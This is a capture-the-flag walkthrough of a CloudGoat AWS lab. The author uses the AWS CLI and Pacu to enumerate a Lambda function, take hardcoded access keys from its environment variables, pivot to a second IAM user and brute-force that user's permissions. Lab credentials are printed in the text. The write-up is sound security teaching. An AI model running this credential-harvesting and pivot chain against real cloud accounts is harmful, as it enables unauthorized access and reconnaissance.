CloudGoat EC2_SSRF - Lambda Environment Variable Exploitation

Overview

The CloudGoat EC2_SSRF scenario demonstrates a common yet critical vulnerability in AWS environments: hardcoded credentials stored in Lambda function environment variables. This walkthrough illustrates how initial limited IAM access cascades into privilege escalation through Lambda enumeration, credential extraction, and comprehensive permission discovery.

Understanding serverless security isn't just about function code, it's about recognizing that environment variables, execution roles, and configuration metadata create a rich attack surface. Every exposed credential in a Lambda environment represents a potential pivot point that can unlock entirely new levels of access within the cloud infrastructure.

Initial Access and Identity Confirmation

CloudGoat Credentials

The scenario begins with AWS credentials provided directly from the CloudGoat deployment output:

```
cloudgoat_output_solus_access_key_id = AKIAXHVUFMEMAII4HBLA
cloudgoat_output_solus_secret_key = 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
```

Context: CloudGoat's "Vulnerable by Design" scenarios simulate realistic misconfigurations found in production AWS environments. These credentials represent our initial foothold limited access designed to challenge us to discover privilege escalation paths.

Configuring AWS CLI Profile

Establishing our authenticated session with proper credential isolation:

```
┌──(kali㉿kali)-[~]
└─$ aws configure --profile solus
AWS Access Key ID [None]: AKIAXHVUFMEMAII4HBLA
AWS Secret Access Key [None]: jAakceL/Cr3++verR1nib9RKuwlVDXtN1vIb/1g
b
Default region name [None]: us-east-1
Default output format [None]: json
```

Identity Verification

```
┌──(kali㉿kali)-[~]
└─$ aws sts get-caller-identity --profile solus
{
    "UserId": "AIDAXHVUFMEMDVAKMYUV7",
    "Account": "497520304408",
    "Arn": "arn:aws:iam::497520304408:user/solus-cgidgdc5khn4y0"
}
```

Lambda Function Discovery

Enumerating Lambda Functions

Testing for Lambda access reveals our primary attack vector:

```
┌──(kali㉿kali)-[~]
└─$ aws lambda list-functions --region us-east-1 --profile solus
{
    "Functions": [
        {
            "FunctionName": "cg-lambda-cgidgdc5khn4y0",
            "FunctionArn": "arn:aws:lambda:us-east-1:497520304408:function:cg
-lambda-cgidgdc5khn4y0",
            "Runtime": "python3.11",
```

```
        "Role": "arn:aws:iam::497520304408:role/cg-lambda-role-cgidgdc5kh
n4y0-service-role",
        "Handler": "lambda.handler",
        "CodeSize": 223,
        "Description": "Invoke this Lambda function for the win!",
        "Timeout": 3,
        "MemorySize": 128,
        "LastModified": "2025-10-28T09:42:42.806+0000",
        "CodeSha256": "jtqUhalhT3taxuZdjeU99/yQTnWVdMQQQQcQGhTRrs
ql=",
        "Version": "$LATEST",
        "Environment": {
          "Variables": {
            "EC2_ACCESS_KEY_ID": "AKIAXHVUFMEMDREBVTU5",
            "EC2_SECRET_KEY_ID": "hpWZUAkjSYP1J+THvzEkwMNu3W+WdI
gL7zVrFbMB"
          }
        },
        "TracingConfig": {
          "Mode": "PassThrough"
        },
        "RevisionId": "ac412443-3164-407b-ac23-019f3cd38d60",
        "PackageType": "Zip",
        "Architectures": [
          "x86_64"
        ],
        "EphemeralStorage": {
          "Size": 512
        },
        "SnapStart": {
          "ApplyOn": "None",
          "OptimizationStatus": "Off"
        },
        "LoggingConfig": {
          "LogFormat": "Text",
          "LogGroup": "/aws/lambda/cg-lambda-cgidgdc5khn4y0"
```

```
        }
      }
    ]
}
```

Critical Discovery - Exposed Credentials:

The Lambda function configuration reveals hardcoded AWS credentials in environment variables:

- **EC2_ACCESS_KEY_ID:** AKIAXHVUFMEMDREBVTU5
- **EC2_SECRET_KEY_ID:** hpWZUAkjSYP1J+THvzEkwMNu3W+WdlgL7zVrFbMB

Why This is Dangerous:

1. **Environment Variable Visibility:** Any IAM principal with `lambda:GetFunction` permission can read environment variables, exposing credentials to unauthorized users
2. **Credential Lifecycle:** Static credentials in environment variables bypass rotation mechanisms and create long-term security risks
3. **Least Privilege Violation:** The credential naming suggests EC2 access, potentially granting compute infrastructure control
4. **Function Description Hint:** The description "Invoke this Lambda function for the win!" indicates these credentials are intentionally placed as the privilege escalation path

---

PACU-Assisted Lambda Enumeration

Automated Secret Discovery

PACU's `lambda__enum` module streamlines the process of extracting secrets from Lambda functions:

```
Pacu (solus:imported-solus) > run lambda__enum --region us-east-1
  Running module lambda__enum...
[lambda__enum] Starting region us-east-1...
[lambda__enum]   Enumerating data for cg-lambda-cgidgdc5khn4y0
        [+] Secret (ENV): EC2_ACCESS_KEY_ID= AKIAXHVUFMEMDREBVTU5
```

```
      [+] Secret (ENV): EC2_SECRET_KEY_ID= hpWZUAkjSYP1J+THvzEkwMNu
3W+WdlgL7zVrFbMB
[lambda__enum] lambda__enum completed.

[lambda__enum] MODULE SUMMARY:

  1 functions found in us-east-1. View more information in the DB
```

PACU Intelligence: The module automatically flags environment variables that match common credential patterns, making secret discovery systematic rather than manual.

Comprehensive Lambda Data Extraction

```
Pacu (solus:imported-solus) > data lambda
{
  "AccountLimit": {
    "CodeSizeUnzipped": 262144000,
    "CodeSizeZipped": 52428800,
    "ConcurrentExecutions": 10,
    "TotalCodeSize": 80530636800,
    "UnreservedConcurrentExecutions": 10
  },
  "AccountUsage": {
    "FunctionCount": 1,
    "TotalCodeSize": 223
  },
  "Functions": [
    {
      "Aliases": [],
      "Architectures": [
        "x86_64"
      ],
      "Code": {
        "Location": "https://prod-04-2014-tasks.s3.us-east-1.amazonaws.com/s
napshots/497520304408/cg-lambda-cgidgdc5khn4y0-b71106d9-b556-4f2c
```

-a0e6-c98e3c5865e5?versionId=rfiWsTp56eZyQFasC4S2pKWMUZoF2XwG&X-Amz-Security-Token=...",
      "RepositoryType": "S3"
    },
    "CodeSha256": "jtqUhalhT3taxuZdjeU99/yQTnWVdMQQQcQGhTRrsqI=",
    "CodeSize": 223,
    "Description": "Invoke this Lambda function for the win!",
    "Environment": {
      "Variables": {
        "EC2_ACCESS_KEY_ID": "AKIAXHVUFMEMDREBVTU5",
        "EC2_SECRET_KEY_ID": "hpWZUAkjSYP1J+THvzEkwMNu3W+WdlgL7zVrFbMB"
      }
    },
    "EphemeralStorage": {
      "Size": 512
    },
    "EventSourceMappings": [],
    "FunctionArn": "arn:aws:lambda:us-east-1:497520304408:function:cg-lambda-cgidgdc5khn4y0",
    "FunctionName": "cg-lambda-cgidgdc5khn4y0",
    "Handler": "lambda.handler",
    "LastModified": "2025-10-28T09:42:42.806+0000",
    "LoggingConfig": {
      "LogFormat": "Text",
      "LogGroup": "/aws/lambda/cg-lambda-cgidgdc5khn4y0"
    },
    "MemorySize": 128,
    "PackageType": "Zip",
    "Policy": [],
    "Region": "us-east-1",
    "RevisionId": "ac412443-3164-407b-ac23-019f3cd38d60",
    "Role": "arn:aws:iam::497520304408:role/cg-lambda-role-cgidgdc5khn4y0-service-role",
    "Runtime": "python3.11",
    "SnapStart": {

```
      "ApplyOn": "None",
      "OptimizationStatus": "Off"
    },
    "Tags": {
      "Scenario": "iam_privesc_by_key_rotation",
      "Stack": "CloudGoat"
    },
    "Timeout": 3,
    "TracingConfig": {
      "Mode": "PassThrough"
    },
    "Version": "$LATEST"
   }
  ]
}
```


Additional Intelligence Gathered:

- **Code Location:** Function code is stored in S3 with a presigned URL, potentially downloadable for static analysis
- **Execution Role:** `cg-lambda-role-cgidgdc5khn4y0-service-role` represents another potential privilege escalation target
- **Tags:** Confirm this is part of the "iam_privesc_by_key_rotation" CloudGoat scenario
- **Minimal Code Size:** 223 bytes suggests a simple function, likely just credential passing logic

---

Privilege Escalation via Extracted Credentials

Configuring Second AWS Profile

Using the discovered credentials to establish a new authenticated context:

```
┌──(kali㉿kali)-[~]
└─$ aws configure --profile envvar
AWS Access Key ID [None]: AKIAXHVUFMEMDREBVTU5
```

```
AWS Secret Access Key [None]: hpWZUAkjSYP1J+THvzEkwMNu3W+WdlgL7z
VrFbMB
Default region name [None]: us-east-1
Default output format [None]: json
```

Profile Naming Strategy: The `envvar` profile name clearly identifies that these credentials originated from Lambda environment variables, maintaining clean operational security tracking.

PACU Session Initialization

```
┌──(kali㉿kali)-[~]
└─$ pacu --new-session envvar
Session envvar created.
```

Verifying Escalated Identity

```
┌──(kali㉿kali)-[~]
└─$ aws sts get-caller-identity --profile envvar
{
    "UserId": "AIDAXHVUFMEMHS76W56U4",
    "Account": "497520304408",
    "Arn": "arn:aws:iam::497520304408:user/wrex-cgidgdc5khn4y0"
}
```

Privilege Escalation Confirmed:

- **Previous Identity:** solus-cgidgdc5khn4y0 (Lambda enumeration access)
- **New Identity:** wrex-cgidgdc5khn4y0 (unknown permissions)
- **Same Account:** Both identities exist within account 497520304408

Critical Question: What permissions does the `wrex` user possess that differentiate it from `solus`?

Comprehensive Permission Enumeration

Making new profile and PACU Permission Bruteforce

The `iam__bruteforce_permissions` module systematically tests hundreds of AWS API calls to map the actual permissions granted to our escalated credentials:

```
Pacu (envvar:imported-envvar) > run iam__bruteforce_permissions
  Running module iam__bruteforce_permissions...
[iam__bruteforce_permissions] Enumerated IAM Permissions:
[iam__bruteforce_permissions] Enumerating us-east-1
2025-10-30 17:18:26,583 - 2461 - [INFO] Starting permission enumeration for
access-key-id "AKIAXHVUFMEMDREBVTU5"
2025-10-30 17:18:28,349 - 2461 - [INFO] -- Account ARN : arn:aws:iam::4975
20304408:user/wrex-cgidgdc5khn4y0
2025-10-30 17:18:28,349 - 2461 - [INFO] -- Account Id  : 497520304408
2025-10-30 17:18:28,349 - 2461 - [INFO] -- Account Path: user/wrex-cgidgdc
5khn4y0
2025-10-30 17:18:28,675 - 2461 - [INFO] Attempting common-service describ
e / list brute force.
2025-10-30 17:18:31,328 - 2461 - [INFO] -- ec2.describe_transit_gateway_atta
chments() worked!
2025-10-30 17:18:31,387 - 2461 - [INFO] -- ec2.describe_iam_instance_profile
_associations() worked!
...
```

Enumeration Methodology: PACU tests each permission by making actual API calls and observing whether they succeed or fail, creating a definitive map of allowed actions rather than relying on policy document interpretation.

Discovered Permission Set Analysis

```
bashPacu (envvar:imported-envvar) > data iam
{
  "Groups": [],
  "Policies": [],
  "Roles": [],
```

```
  "Users": [],
  "permissions": {
    "allow": [
      "ec2:DescribeInstances",
      "ec2:DescribeSecurityGroups",
      "ec2:DescribeNetworkInterfaces",
      "ec2:DescribeVpcs",
      "ec2:DescribeSubnets",
      "ec2:DescribeVolumes",
      "ec2:DescribeSnapshots",
      "ec2:DescribeRegions",
      "ec2:DescribeAvailabilityZones",
      "ec2:DescribeKeyPairs",
      "ec2:DescribeImages",
      "ec2:DescribeTags",
      "ec2:DescribeInstanceStatus",
      "ec2:DescribeAddresses",
      "ec2:DescribeRouteTables",
      "ec2:DescribeInternetGateways",
      "ec2:DescribeNatGateways",
      "ec2:DescribeVpnGateways",
      "ec2:DescribeCustomerGateways",
      "ec2:DescribeVpnConnections",
      "ec2:DescribeNetworkAcls",
      "ec2:DescribePlacementGroups",
      "ec2:DescribeVpcPeeringConnections",
      "ec2:DescribeFlowLogs",
      "ec2:DescribeVpcEndpoints",
      "ec2:DescribeTransitGateways",
      "ec2:DescribeTransitGatewayAttachments",
      "ec2:DescribeTransitGatewayRouteTables",
      "ec2:DescribeTransitGatewayVpcAttachments",
      "ec2:DescribeIamInstanceProfileAssociations",
      "ec2:DescribeReservedInstances",
      "ec2:DescribeReservedInstancesOfferings",
      "ec2:DescribeReservedInstancesModifications",
```

```
        "ec2:DescribeSpotInstanceRequests",
        "ec2:DescribeSpotFleetRequests",
        "ec2:DescribeSpotPriceHistory",
        "ec2:DescribeHostReservations",
        "ec2:DescribeHostReservationOfferings",
        "ec2:DescribeHosts",
        "ec2:DescribeLaunchTemplates",
        "ec2:DescribeFleets",
        "ec2:DescribeCapacityReservations",
        "ec2:DescribeScheduledInstances",
        "ec2:DescribePublicIpv4Pools",
        "ec2:DescribePrefixLists",
        "ec2:DescribeVpcClassicLink",
        "ec2:DescribeVpcClassicLinkDnsSupport",
        "ec2:DescribeClassicLinkInstances",
        "ec2:DescribeVpcEndpointConnections",
        "ec2:DescribeVpcEndpointConnectionNotifications",
        "ec2:DescribeVpcEndpointServiceConfigurations",
        "ec2:DescribeVpcEndpointServices",
        "ec2:DescribeClientVpnEndpoints",
        "ec2:DescribeEgressOnlyInternetGateways",
        "ec2:DescribeNetworkInterfacePermissions",
        "ec2:DescribeInstanceCreditSpecifications",
        "ec2:DescribeFpgaImages",
        "ec2:DescribeVolumeStatus",
        "ec2:DescribeVolumesModifications",
        "ec2:DescribeBundleTasks",
        "ec2:DescribeConversionTasks",
        "ec2:DescribeExportTasks",
        "ec2:DescribeImportImageTasks",
        "ec2:DescribeImportSnapshotTasks",
        "ec2:DescribeDhcpOptions",
        "ec2:DescribeAccountAttributes",
        "ec2:DescribeAggregateIdFormat",
        "ec2:DescribeIdFormat",
        "ec2:DescribePrincipalIdFormat",
```

```
      "sts:GetCallerIdentity",
      "sts:GetSessionToken",
      "dynamodb:DescribeEndpoints"
    ],
    "deny": []
  }
}
```

Permission Analysis Summary:

Comprehensive EC2 Read Access:

- **Instances & Compute:** Full visibility into EC2 instances, launch templates, fleets, and capacity reservations
- **Networking:** Complete network topology visibility including VPCs, subnets, security groups, and network interfaces
- **Storage:** Access to volume and snapshot metadata
- **IAM Instance Profiles:** Can enumerate IAM roles attached to EC2 instances, critical for identifying further privilege escalation targets

Notable Permissions:

- `ec2:DescribeIamInstanceProfileAssociations` - Reveals which IAM roles are attached to running instances
- `ec2:DescribeInstances` - Shows all EC2 instances, including metadata and user data
- `ec2:DescribeSecurityGroups` - Maps network access controls
- `sts:GetSessionToken` - Can generate temporary credentials (though limited without additional assume-role permissions)

Missing Permissions:

- No `ec2:RunInstances` - Cannot launch new instances
- No `iam:PassRole` - Cannot attach IAM roles to resources
- No write permissions across EC2 services
- No privilege escalation paths via IAM policy manipulation

Attack Chain Analysis and Security Implications

The Complete Privilege Escalation Path

Stage 1: Initial Access → Limited IAM user (`solus`) with Lambda enumeration permissions

Stage 2: Lambda Enumeration → Discovery of Lambda function with environment variables

Stage 3: Credential Extraction → Hardcoded AWS credentials exposed in environment configuration

Stage 4: Identity Pivot → Authentication as `wrex` user with different permission set

Stage 5: Permission Discovery → Comprehensive EC2 read access across the environment

Stage 6: Reconnaissance Expansion → Full visibility into compute infrastructure and network topology

---

Challenge Takeaways

- Started with a low-privilege user, enumerated Lambda, and harvested AWS credentials from the function's environment.
- Used the pivoted credentials to greatly increase reconnaissance and mapping of the AWS EC2/infra resources.
- Repeated the enumerate→pivot→recon process key for AWS challenge escalation.